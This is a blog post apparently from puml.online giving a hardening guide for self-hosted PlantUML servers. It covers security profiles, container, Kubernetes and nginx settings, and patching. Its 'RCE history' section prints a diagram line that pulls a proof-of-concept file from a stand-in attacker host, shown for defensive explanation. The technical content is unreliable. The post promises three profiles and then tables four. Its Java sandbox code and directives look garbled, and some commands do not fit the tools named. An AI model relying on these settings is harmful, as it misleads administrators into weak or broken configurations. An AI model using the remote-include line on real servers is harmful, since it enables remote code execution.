PlantUML security profiles: INTERNET vs ALCAPONE vs LEGACY

puml.online

Self-hosting PlantUML means rendering attacker-supplied Java code. Two real risks: (1) OOM / arbitrary code execution inside the JVM, (2) hostile payloads burning your container’s CPU. This article walks through PlantUML’s three security profiles and the other hardening layers.

Three security profiles

PlantUML’s PLANTUML_SECURITY_PROFILE env var selects one of four presets:

Profile Disables Use
LEGACYDISABLED (default) Legacy APIs Any service
INTERNET Full sandbox, capped resources Public services
ALCAPONE Sandbox with some APIs allowed Trusted internal
LEGACYUNSECURE Nothing is blocked Local development

1. INTERNET (strictest)

1
2
3
4
docker run -d \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=INTERNET \
plantuml/plantuml-server:latest
  • Strict URL / size checks
  • !include and !includeurl disabled
  • Java reflection limited

Use for any publicly exposed PlantUML service.

2. ALCAPONE (moderate)

1
-e PLANTUML_SECURITY_PROFILE=ALCAPONE
  • !include enabled but path-restricted
  • !function allowed but no system calls
  • TEMPLATE theme allowed

Use for internal wikis with trusted users.

3. LEGACYUNSECURE (developer only)

1
-e PLANTUML_SECURITY_PROFILE=LEGACYUNSECURE
  • All functions enabled
  • Arbitrary Java execution possible

Only on a developer laptop.

How the sandbox works

PlantUML uses SecurityManager (deprecated in Java 14+) plus a custom classloader:

1
2
3
4
5
6
7
8
SecurityManager oldSm = System.getSecurityManager();
SecurityManager newSm = new UMLSecurityManager();
System.setSecurityManager(newSm);
try {
// render
} finally {
System.setSecurityManager(oldSm);
}

Each render wraps security context. On Java 17+ the recommended pattern shifts:

1
AccessControlContext acc = doPrivileged(() -> { /* render */ });

In practice PlantUML applies !policyj per-diagram for fine-grained permissions.

Best practices

1. Default to INTERNET

1
PLANTUML_SECURITY_PROFILE=INTERNET

2. Hardened container

1
2
3
4
5
6
7
FROM plantuml/plantuml-server:jdk17
RUN apt-get update \
&& apt-get install -y fonts-noto-cjk \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*

USER nobody

3. Network policy

1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: plantuml
spec:
podSelector: { matchLabels: { app: plantuml } }
policyTypes: [Ingress]
ingress:
- from:
- podSelector: { matchLabels: { app: editor } }
ports:
- { port: 8080 }

4. Rate limiting

1
2
3
4
5
6
7
limit_req_zone $binary_remote_addr zone=plantuml:10m rate=5r/s;
server {
location / {
limit_req zone=plantuml burst=10 nodelay;
proxy_pass http://plantuml:8080;
}
}

5 r/s per IP.

5. Input length limits

1
2
3
-e PLANTUML_LIMIT_SIZE=4096
-e MAX_URL_LENGTH=4096
-e MAX_FILE_SIZE=4096

6. Logging / monitoring

1
-e JAVA_OPTS="-Djava.security.debug=all"
1
2
3
4
livenessProbe:
httpGet: { path: /healthcheck, port: 8080 }
initialDelaySeconds: 30
periodSeconds: 10

7. Resource limits

1
2
3
resources:
requests: { memory: "256Mi", cpu: "100m" }
limits: { memory: "1Gi", cpu: "500m" }

8. Short life cycles

1
2
3
spec:
restartPolicy: Always
terminationGracePeriodSeconds: 30

9. TLS

1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: plantuml
annotations:
cert-manager.io/cluster-issuer: "letsencrypt-prod"
nginx.ingress.kubernetes.io/ssl-redirect: "true"
spec:
tls:
- hosts: [plantuml.puml.online]
secretName: plantuml-tls
rules:
- host: plantuml.puml.online

DoS protection

1
2
3
4
resources:
limits:
cpu: "1"
memory: "1Gi"

K8s OOMKills under attack.

1
2
3
4
5
6
7
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: plantuml
spec:
minAvailable: 2
selector: { matchLabels: { app: plantuml } }

Two pods survive rolling.

RCE history

Pre-1.2024.x PlantUML versions had remote code execution via !includeurl:

1
2
3
@startuml
!include https://attacker.com/poc.puml
@enduml

Fixed in 1.2024.7+. Always:

  • Run latest patch release
  • Use INTERNET profile

Anti-patterns

1. LEGACYUNSECURE in production

1
2
3
env:
- name: PLANTUML_SECURITY_PROFILE
value: LEGACYUNSECURE

2. No rate limiting

INTERNET profile alone doesn’t stop DoS; a 1MB SVG / render is still expensive.

3. No patches

vintage-PlantUML is dangerous. Patch monthly.

4. Shared filesystem

1
2
3
volumes:
- name: shared
hostPath: /shared

Don’t bind mount host paths — !include could leak sensitive files.

5. Reverse proxy without CORS

1
2
add_header Access-Control-Allow-Origin "https://puml.online" always;
add_header Access-Control-Allow-Methods "GET, POST, OPTIONS" always;

Required when editor / plantuml are on different origins.

Audit checklist

  • PLANTUML_SECURITY_PROFILE=INTERNET default?
  • K8s NetworkPolicy isolates plantuml?
  • Rate limiting at proxy?
  • TLS termination?
  • Resource limits set?
  • Monitoring + alerting?
  • Monthly patch cycle?

Upgrade cadence

1
2
3
4
5
6
7
8
9
plantuml/plantuml-server --version

docker pull plantuml/plantuml-server:2026.7
docker stop plantuml-server
docker run -d --rm \
--name plantuml-new \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=INTERNET \
plantuml/plantuml-server:2026.7

Cadence:

  • Monthly: trivial patches
  • Quarterly: minor upgrades
  • Yearly: major version

TL;DR

The PlantUML self-host security recipe is “INTERNET + NetworkPolicy + rate limit + resource limits + TLS + monthly patch.” Skip any one, and you have a hole.

  • Title: PlantUML security profiles: INTERNET vs ALCAPONE vs LEGACY
  • Author: puml.online
  • Created at : 2026-07-29 16:20:00
  • Updated at : 2026-08-14 21:34:29
  • Link: https://puml.online/blog/plantuml-security-en/
  • License: This work is licensed under CC BY-NC-SA 4.0.